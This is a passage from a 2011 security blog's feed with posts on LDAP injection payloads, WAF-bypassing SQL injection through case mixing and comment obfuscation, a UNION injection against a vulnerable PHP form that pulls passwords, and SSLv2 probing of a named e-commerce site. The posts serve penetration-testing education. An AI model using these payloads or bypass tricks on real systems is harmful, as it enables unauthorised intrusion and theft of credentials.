/&gt;/cgi-bin/ldap/ldap_query.cgi?cn=(&amp;(objectClass=Person)(|(sn=John)(cn=Woo*)))&lt;br /&gt;/cgi-bin/ldap/ldap_query.cgi?cn=*) (|(objectClass=person)&lt;br /&gt;/cgi-bin/ldap/ldap_query.cgi?cn=*)(cn=*))(|(cn=*&lt;br /&gt;/cgi-bin/ldap/ldap_query.cgi?cn=*)(|(cn = * ))&lt;br /&gt;/cgi-bin/ldap/ldap_query.cgi?cn=*)(|(uid = * ))&lt;br /&gt;&lt;br /&gt;Meta Characters - ))|\\\\ |!@#$ &amp;&amp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There are other set of payloads that can be used. The output of one of the injection looks like as presented below&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-tWIr0FLNwlw/Tkq9inV643I/AAAAAAAAA-w/uXqNwEPWZ3o/s1600/ldap_Example.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 185px;" src="http://1.bp.blogspot.com/-tWIr0FLNwlw/Tkq9inV643I/AAAAAAAAA-w/uXqNwEPWZ3o/s400/ldap_Example.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5641529885609091954" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Enjoy !&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-8770426988513906538?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/8770426988513906538/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=8770426988513906538' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8770426988513906538'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8770426988513906538'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2011/08/ldap-injection-cn-sn-uid-mail-attack.html' title='LDAP Injection - CN /SN /UID /MAIL - Attack Payloads'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-jrzldiQoJxk/TkqmnzEkKbI/AAAAAAAAA-o/jOdJYO7v8ug/s72-c/attack-attack-self-titled.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-2051190193303533718</id><published>2011-08-08T08:35:00.000-07:00</published><updated>2011-08-08T10:38:07.158-07:00</updated><title type='text'>SQL Injection (Primer 2) - Collation / Case Insensitive  and WAF bypassing</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-TrLfGLatLW8/TkAcHEubKtI/AAAAAAAAA-Y/zn7rAZhNMFY/s1600/collation_wicker_table.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 120px; height: 88px;" src="http://2.bp.blogspot.com/-TrLfGLatLW8/TkAcHEubKtI/AAAAAAAAA-Y/zn7rAZhNMFY/s400/collation_wicker_table.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5638537641320983250" /&gt;&lt;/a&gt;SQL injections are prevalent in all type of scenarios. With the advent of Web application Firewalls (WAF's) there are number of protection mechanisms that have been developed to prevent injections. WAF's are good solutions but these are not that good enough to prevent advanced level of SQL injections.  However, during the course of my experience, I have noticed case sensitive / insensitive plays a critical role in designing bypasses.&lt;br /&gt;&lt;br /&gt;The&lt;span style="font-weight:bold;"&gt; SQL queries are case insensitive.&lt;/span&gt; This feature of SQL databases (MySQL/ MSSQL)&lt;br /&gt;helps a lot in designing WAF bypasses. The reason is, WAF's are mainly signature   specific in most of cases which are explicitly written. By default, regular expressions are case sensitive. &lt;span style="font-weight:bold;"&gt;It is also possible to control case sensitivity within a pattern using the inline modifier (?i).&lt;/span&gt; However, it makes the signature really complex and hard to manage in certain scenarios. But this applied procedure is not hard to implement.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;Note:&lt;/span&gt; The examples are taken from the real time websites and applications. The websites names have been masked for security purposes&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;For example, the following SQL injection is usually filtered by the WAF in number of cases.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;http://www.example.com/news_political.php?recordID=100+and+1=2+union+all+select+1,2,concat(Count(*)),4,5,6+from+information_schema.table_constraints--&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The point is to break the filter at any one point so that whole of regular expression fails. The following code allows &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;http://www.example.com/news_political.php?recordID=100+aNd+1=2+uNioN+aLl+sElecT+1,2,CoNcaT(Count(*)),4,5,6+fRoM+information_schema.table_constraints-- &lt;/span&gt; &lt;br /&gt;&lt;br /&gt;In the above presented SQL injection, case sensitive approach is used to bypass WAF and at last case insensitive approach is exploited in order to render injection successfully. This injection can further by obfuscated using meta characters &lt;span style="font-weight:bold;"&gt;&lt;span style="font-weight:bold;"&gt;(/* ! */) , // , # +- , ; , #&lt;/span&gt;&lt;/span&gt; as pointed below&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;http://www.example.com/news_political.php?recordID=100/*!+aNd*/+1=2+uNioN+aLl+sElecT+1,2,CoNcaT(Count(*)),4,5,6+fRoM+information_schema.table_constraints-- &lt;/span&gt; &lt;br /&gt;&lt;br /&gt;One can design plethora of combinations based on the above discussed specifications in order to test for SQL injections in different environments.&lt;br /&gt;&lt;br /&gt;All the informational issues discussed above are usually due to case insensitive nature of databases. There is a way, one can write SQL queries that are case sensitive using &lt;span style="font-weight:bold;"&gt;Collation&lt;/span&gt; procedure in databases. You can check for collations &lt;span style="font-weight:bold;"&gt;&lt;a href="http://dev.mysql.com/doc/refman/5.0/en/charset-general.html"&gt;here&lt;/a&gt;&lt;/span&gt;. However, this process depends on the application design. It is something that developers implement by choice or when it is critically required. &lt;br /&gt;&lt;br /&gt;Follow this !&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-2051190193303533718?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/2051190193303533718/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=2051190193303533718' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2051190193303533718'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2051190193303533718'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2011/08/sql-injection-collation-case.html' title='SQL Injection (Primer 2) - Collation / Case Insensitive  and WAF bypassing'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-TrLfGLatLW8/TkAcHEubKtI/AAAAAAAAA-Y/zn7rAZhNMFY/s72-c/collation_wicker_table.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-788177868767027696</id><published>2011-08-06T18:30:00.000-07:00</published><updated>2011-08-08T10:20:56.024-07:00</updated><title type='text'>SQL Injection (Primer 1) - PHP Escaping and Like Operators</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-bwIH58gYXRM/Tj335yq8tII/AAAAAAAAA90/gen34Qco0-Q/s1600/like.gif"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 126px; height: 84px;" src="http://3.bp.blogspot.com/-bwIH58gYXRM/Tj335yq8tII/AAAAAAAAA90/gen34Qco0-Q/s400/like.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5637934880764245122" /&gt;&lt;/a&gt;This post talks about exploiting the SQL queries with LIKE operator in use. However, this situation and target can be specific in nature but one can use the concept that is discussed below to go after exploiting the SQL injection. In order to discuss this part, let's take an example as presented below&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[?php&lt;br /&gt;if (isset($_POST['submit_search'])){&lt;br /&gt;$search_name = htmlentities(mysql_real_escape_string($_POST['search_user']));&lt;br /&gt;$age = stripslashes($_POST['age']);&lt;br /&gt;&lt;br /&gt;$query1 = mysql_query("SELECT * FROM user_table WHERE username LIKE '$search_user' AND age=('$age')") or die("SQL Error Mate");&lt;br /&gt;}?]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In this example, "search_user" is the parameter that is provided as an initial input point to the application user. As one can see, this parameter is escaped using &lt;span style="font-weight:bold;"&gt;mysql_real_escape_string(escapes special characters in a string for use in an SQL statement)&lt;/span&gt; and then with &lt;span style="font-weight:bold;"&gt;htmlentities (convert all applicable characters to HTML entities)&lt;/span&gt;. There is another parameter as "age" which is set with &lt;span style="font-weight:bold;"&gt;stripslashes(returns a string with backslashes stripped off)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So in this case, where the SQL injection can be done. Following consideration leads to successful SQL injection&lt;br /&gt;&lt;br /&gt;1. There is an &lt;span style="font-weight:bold;"&gt;age&lt;/span&gt; parameter which takes the value from the application user. This parameter is expected by the server in the POST request.&lt;br /&gt;&lt;br /&gt;2. As the age parameter is using &lt;span style="font-weight:bold;"&gt;stripslashes&lt;/span&gt; function, it is good to inject legitimate value and then closing it appropriately.&lt;br /&gt;&lt;br /&gt;3. In this case, one must not concentrate on exploiting the search_user parameter rather hit on the age parameter. As it is POST request, it is easy to play with proxy to set up the value for the age parameter.&lt;br /&gt;&lt;br /&gt;4. In general, when anyone run the successful query with the legitimate username such as root, another information such as age will be thrown on the HTML page. This clearly indicates the fact that query is consuming some another parameter too.&lt;br /&gt;&lt;br /&gt;5. So the payloads such as &lt;span style="font-weight:bold;"&gt;age=';--&lt;/span&gt; produces an error as follows&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';--')' at line 1"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This means the application is vulnerable to POST based SQL injection and appropriate query is required to exploit it successfully.&lt;br /&gt;&lt;br /&gt;6. One can try for fuzzing it with different requests such as Union SQL Poisoning tricks. For example: &lt;span style="font-weight:bold;"&gt;age=27') union select 1,2,3,4,5,6,7,password from user_table -- - &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;For any POST based SQL injection, always try to verify the fact which field is required to be attacked and whether a new parameter can be injected or not.&lt;br /&gt;&lt;br /&gt;You may encounter this type of scenario in hacking challenges. :) &lt;br /&gt;&lt;br /&gt;This solution is an outcome of collaborative work with &lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;Rohit (Rb1337)&lt;span style="font-style:italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;. Hope to share some more thoughts on SQL injections.&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-788177868767027696?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/788177868767027696/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=788177868767027696' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/788177868767027696'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/788177868767027696'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2011/08/sql-injection-php-escaping-and-like.html' title='SQL Injection (Primer 1) - PHP Escaping and Like Operators'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-bwIH58gYXRM/Tj335yq8tII/AAAAAAAAA90/gen34Qco0-Q/s72-c/like.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-8044650660095838670</id><published>2011-08-05T11:03:00.000-07:00</published><updated>2011-08-05T13:14:02.187-07:00</updated><title type='text'>Anatomy of OpenSSL and Penetration Testing - Breaking Benjamin</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-MqXe4I81b_M/TjxLOLBNjNI/AAAAAAAAA9k/MTEtShTHENA/s1600/ssl-787855.gif"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 128px; height: 128px;" src="http://4.bp.blogspot.com/-MqXe4I81b_M/TjxLOLBNjNI/AAAAAAAAA9k/MTEtShTHENA/s400/ssl-787855.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5637463540409142482" /&gt;&lt;/a&gt; SSL is one of the most attractive and shocking protocol in myriad of ways. There is always something different about this protocol. Considering the real time security testing, you might encounter tricky scenarios while handling sessions with the SSL. OpenSSL is widely used to deploy the SSL as a open source platform. Apache configured with mod_ssl is used heavily for this purposes. During open research and technical verification, we (me and my friends) came across a domain (www.ebay.in) having bad SSL implementation. So I thought to write a detailed post on this issue. The aim of this post is to understand  the unexpected variance in the responses of the remote server when SSL connection is initiated using different OpenSSL versions &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Target check : www.ebay.in [ For educational purposes only].&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A simple host discovery gives the following information which suggests that DNS load balancer is in place. Since it is a heavy eCommerce website, one must expect this.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;root@bt:~# host ebay.in&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;ebay.in has address 66.135.200.23&lt;br /&gt;ebay.in has address 66.135.215.61&lt;/span&gt;&lt;br /&gt;ebay.in mail is handled by 10 data.ebay.com.&lt;br /&gt;ebay.in mail is handled by 10 gort.ebay.com.&lt;br /&gt;ebay.in mail is handled by 10 lore.ebay.com.&lt;br /&gt;&lt;br /&gt;root@bt:~# host www.ebay.in&lt;br /&gt;www.ebay.in is an alias for ebay.in.edgesuite.net.&lt;br /&gt;ebay.in.edgesuite.net is an alias for a142.g.akamai.net.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;a142.g.akamai.net has address 204.245.162.34&lt;br /&gt;a142.g.akamai.net has address 204.245.162.5&lt;/span&gt;9&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This website is accessible over HTTP and HTTPS, this gives a straight forward information regarding the open ports 80/443. One can expect redirection parameters defined on server side to automatically redirect the incoming HTTP requests to HTTPS.&lt;br /&gt;Further, when a simple GET request is issued to the server, it responds back with the following HTTP responses&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;(Status-Line) HTTP/1.0 200 OK&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Server Apache-Coyote/1.1&lt;/span&gt;&lt;br /&gt;Content-Encoding gzip&lt;br /&gt;Content-Type text/html;charset=UTF-8&lt;br /&gt;Content-Length 9986&lt;br /&gt;Vary Accept-Encoding&lt;br /&gt;Expires Fri, 05 Aug 2011 18:08:39 GMT&lt;br /&gt;Cache-Control max-age=0, no-cache, no-store&lt;br /&gt;Pragma no-cache&lt;br /&gt;Date Fri, 05 Aug 2011 18:08:39 GMT&lt;br /&gt;Connection keep-alive&lt;br /&gt;Set-Cookie ebay=%5Esbf%3D%23%5E; Domain=.ebay.in; Path=/&lt;br /&gt;Set-Cookie dp1=bu1p/QEBfX0BAX19AQA**501d6527^spref/20351fe98a7^; Domain=.ebay.in; Expires=Sun, 04-Aug-2013 18:08:39 GMT; Path=/&lt;br /&gt;Set-Cookie cssg=9b21f5741310a02652e39d83ffdf018c; Domain=.ebay.in; Path=/&lt;br /&gt;Set-Cookie s=CgAD4ACBOPYMnOWIyMWY1NzQxMzEwYTAyNjUyZTM5ZDgzZmZkZjAxOGPrM83K;Domain=.ebay.in;Path=/; HttpOnly&lt;br /&gt;Set-Cookie nonsession=CgADKACBXojMnOWIyMWY1NzQxMzEwYTAyNjUyZTM5ZDgzZmZkZjAxOGYAywABTjw4rzGpIP/j; Domain=.ebay.in; Expires=Sat, 04-Aug-2012 18:08:39 GMT; Path=/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The Server header points to the &lt;span style="font-weight:bold;"&gt;Apache-Coyote/1.1&lt;/span&gt; which may be running this flavor of Apache. Usually, it is true in number of cases.&lt;br /&gt;&lt;br /&gt;The first three tests are conducted using &lt;span style="font-weight:bold;"&gt;OpenSSL, cURL and SSLScan&lt;/span&gt; in general. This host is a backtrack machine with an OpenSSL 0.9.8k 25. In this , the aim is to verify the presence of SSLv2&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;root@bt:~# openssl version / OpenSSL 0.9.8k 25 Mar 2009&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;root@bt:~# curl --version&lt;br /&gt;curl 7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15&lt;br /&gt;Protocols: tftp ftp telnet dict ldap ldaps http file https ftps &lt;br /&gt;Features: GSS-Negotiate IDN IPv6 Largefile NTLM SSL libz &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Test 1: Using OpenSSL, following response is detected which shows the acceptance of SSLv2.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;root@bt:~# openssl s_client -connect www.ebay.in:443 -ssl2&lt;br /&gt;CONNECTED(00000003)&lt;br /&gt; subject=/C=US/O=Akamai Technologies, Inc./CN=a248.e.akamai.net&lt;br /&gt;issuer=/C=US/O=GTE Corporation/OU=GTE CyberTrust Solutions, Inc./CN=GTE CyberTrust Global Root&lt;br /&gt;---&lt;br /&gt;No client certificate CA names sent&lt;br /&gt;---&lt;br /&gt;Ciphers common between both SSL endpoints:&lt;br /&gt;RC4-MD5         EXP-RC4-MD5     RC2-CBC-MD5    &lt;br /&gt;EXP-RC2-CBC-MD5 DES-CBC-MD5     DES-CBC3-MD5&lt;br /&gt;---&lt;br /&gt;SSL handshake has read 995 bytes and written 236 bytes&lt;br /&gt;---&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;New, SSLv2, Cipher is DES-CBC3-MD5&lt;br /&gt;Server public key is 1024 bit&lt;br /&gt;Secure Renegotiation IS NOT supported&lt;/span&gt;&lt;br /&gt;Compression: NONE&lt;br /&gt;Expansion: NONE&lt;br /&gt;SSL-Session:&lt;br /&gt;   &lt;span style="font-weight:bold;"&gt; Protocol  : SSLv2&lt;br /&gt;    Cipher    : DES-CBC3-MD5&lt;/span&gt;&lt;br /&gt;    Session-ID: E03D2C3CCD43347B13383DA55F2FD326&lt;br /&gt;    Session-ID-ctx: &lt;br /&gt;    Master-Key: 16011C613D2E862A91FD0A069AF1FFAE5058F0BFEADB87F0&lt;br /&gt;    Key-Arg   : A9D372330CD89517&lt;br /&gt;    Start Time: 1312569173&lt;br /&gt;    Timeout   : 300 (sec)&lt;br /&gt;    Verify return code: 21 (unable to verify the first certificate)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Test 2: Using cURL to verify the state.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;root@bt:~# curl -v -2 https://www.ebay.in -k&lt;br /&gt;* About to connect() to www.ebay.in port 443 (#0)&lt;br /&gt;*   Trying 204.245.162.34... connected&lt;br /&gt;* Connected to www.ebay.in (204.245.162.34) port 443 (#0)&lt;br /&gt;* successfully set certificate verify locations:&lt;br /&gt;*   CAfile: none&lt;br /&gt;  CApath: /etc/ssl/certs&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;* SSLv2, Client hello (1):&lt;br /&gt;* SSLv2, Server hello (4):&lt;br /&gt;* SSLv2, Client key (2):&lt;br /&gt;* SSLv2, Client finished (3):&lt;br /&gt;* SSLv2, Server verify (5):&lt;br /&gt;* SSLv2, Server finished (6):&lt;br /&gt;* SSL connection using DES-CBC3-MD5&lt;/span&gt;&lt;br /&gt;* Server certificate:&lt;br /&gt;*   subject: C=US; O=Akamai Technologies, Inc.; CN=a248.e.akamai.net&lt;br /&gt;*   start date: 2010-10-06 16:41:56 GMT&lt;br /&gt;*   expire date: 2011-10-06 16:40:47 GMT&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Test 3: Using SSLScan to verify the state.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;root@bt:~# sslscan www.ebay.in&lt;br /&gt;           Version 1.8.2&lt;br /&gt;Testing SSL server www.ebay.in on port 443&lt;br /&gt;&lt;br /&gt;  Supported Server Cipher(s):&lt;br /&gt;    &lt;span style="font-weight:bold;"&gt;Accepted  SSLv2  168 bits  DES-CBC3-MD5&lt;/span&gt;&lt;br /&gt;    Accepted  SSLv2  56 bits   DES-CBC-MD5&lt;br /&gt;    Accepted  SSLv2  40 bits   EXP-RC2-CBC-MD5&lt;br /&gt;    Accepted  SSLv2  128 bits  RC2-CBC-MD5&lt;br /&gt;    Accepted  SSLv2  40 bits   EXP-RC4-MD5&lt;br /&gt;    Accepted  SSLv2  128 bits  RC4-MD5&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It has been verified that this particular domain is accepting SSLv2 and all the testing output has confirmed this. Note , in this OpenSSL version 0.9.8k is used.&lt;br /&gt;&lt;br /&gt;Now moving on to second set of tests with same tools having updated version of OpenSSL as follows&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;user@ubuntu:~$ openssl version / OpenSSL 0.9.8o 01 Jun 2010&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;curl 7.21.3 (i686-pc-linux-gnu) libcurl/7.21.3 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18&lt;br /&gt;Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smtp smtps telnet tftp &lt;br /&gt;Features: GSS-Negotiate IDN IPv6 Largefile NTLM SSL libz&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The versions are different. In order to conduct security testing of SSL, the same tests are conducted again.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Test 4: Verifying the SSLv2 (updated OpenSSL)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;user@ubuntu:~$ openssl s_client -connect www.ebay.in:443 -ssl2&lt;br /&gt;2543:error:140A90C4:SSL routines:SSL_CTX_new:null ssl method passed:ssl_lib.c:1453:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The connection over SSLv2 fails. Let's move on to next case&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Test 5: Verifying the SSLv2 (updated cURL)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;user@ubuntu:~$ curl -s -v -k https://www.ebay.in -2&lt;br /&gt;* About to connect() to www.ebay.in port 443 (#0)&lt;br /&gt;*   Trying 204.245.162.34... connected&lt;br /&gt;* Connected to www.ebay.in (204.245.162.34) port 443 (#0)&lt;br /&gt;* SSL: couldn't create a context!&lt;br /&gt;* Closing connection #0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;cURL also fails for the SSLv2. Jumping on to next and final test&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Test 6: Verifying the SSLv2 (SSLScan)&lt;/span&gt;&lt;br /&gt;user@ubuntu:~$ sslscan www.ebay.in&lt;br /&gt;             Version 1.8.2&lt;br /&gt;             &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;ERROR: Could not create CTX object.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Testing SSL server www.ebay.in on port 443&lt;br /&gt;&lt;br /&gt;  Supported Server Cipher(s):&lt;br /&gt;    Rejected  SSLv3  256 bits  ADH-AES256-SHA&lt;br /&gt;    Rejected  SSLv3  256 bits  DHE-RSA-AES256-SHA&lt;br /&gt;    Rejected  SSLv3  256 bits  DHE-DSS-AES256-SHA&lt;br /&gt;    Accepted  SSLv3  256 bits  AES256-SHA&lt;br /&gt;    Rejected  SSLv3  128 bits  ADH-AES128-SHA&lt;br /&gt;    Rejected  SSLv3  128 bits  DHE-RSA-AES128-SHA&lt;br /&gt;    Rejected  SSLv3  128 bits  DHE-DSS-AES128-SHA&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In this test, no SSLv2 output (rejected/accepted) is there. However, one can see that "&lt;span style="font-weight:bold;"&gt;ERROR: Could not create CTX object&lt;/span&gt;" notification which primarily is an outcome of the fact that SSLScan fails to instantiate context for SSLv2.&lt;br /&gt;   &lt;br /&gt;As it is known in the wild that all the newer version of browser hardly initiate connection using SSLv2. It looks like OpenSSL 0.9.8o 01 is doing the same way. Hardening the client straight away so that only updated version of protocol are used to do that.&lt;br /&gt;&lt;br /&gt;Note: for penetration testing, my personal advise is to use OpenSSL 0.9.8k 01 or any version less than &lt;= k for strong testing. It is also a good choice to use &lt;=k versions and also &gt; k versions to differentiate the output.&lt;br /&gt;&lt;br /&gt;Giving a final check on the certificates (www.ebay.in), it has been noticed that certificate is already expired&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-f5c0ni6-OeA/TjxJpKq4EAI/AAAAAAAAA9U/mSnFDVzqhR8/s1600/ebay_ssl_cert.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 340px;" src="http://3.bp.blogspot.com/-f5c0ni6-OeA/TjxJpKq4EAI/AAAAAAAAA9U/mSnFDVzqhR8/s400/ebay_ssl_cert.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5637461805148672002" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;and the amazing result is also presented below&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-GMoP5TfEzrg/TjxJvW0NUfI/AAAAAAAAA9c/F9HV0MDu2rI/s1600/ebay_ssl_cert_2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 336px; height: 400px;" src="http://1.bp.blogspot.com/-GMoP5TfEzrg/TjxJvW0NUfI/AAAAAAAAA9c/F9HV0MDu2rI/s400/ebay_ssl_cert_2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5637461911488254450" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So overall, this situation is really bad for an eCommerce website. For verification tests of SSL one should not rely on single tool.&lt;span style="font-weight:bold;"&gt; It is preferable to use OpenSSL, cURL and SSLScan as an overall tool set and the protocol should be fuzzed appropriately. Be sure of the OpenSSL version you are using.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;NOTE: Additionally, declarative security can also be used to prevent MITM attacks. I will be releasing Mozilla Firefox addon soon (under review). This addon is capable of detecting Strict-Transport-Security parameter in HTTP response header and notify the penetration tester about the usage of declarative security (whether the server wants to harness the browser protection)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-5pAJLOhmQWg/TjxMt7fndXI/AAAAAAAAA9s/eeFxglsTFjw/s1600/strict_transport_policy_det.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 261px;" src="http://1.bp.blogspot.com/-5pAJLOhmQWg/TjxMt7fndXI/AAAAAAAAA9s/eeFxglsTFjw/s400/strict_transport_policy_det.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5637465185509143922" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Stay tuned. Enjoy !&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-8044650660095838670?l=zeroknock.blogspot.com' alt='' 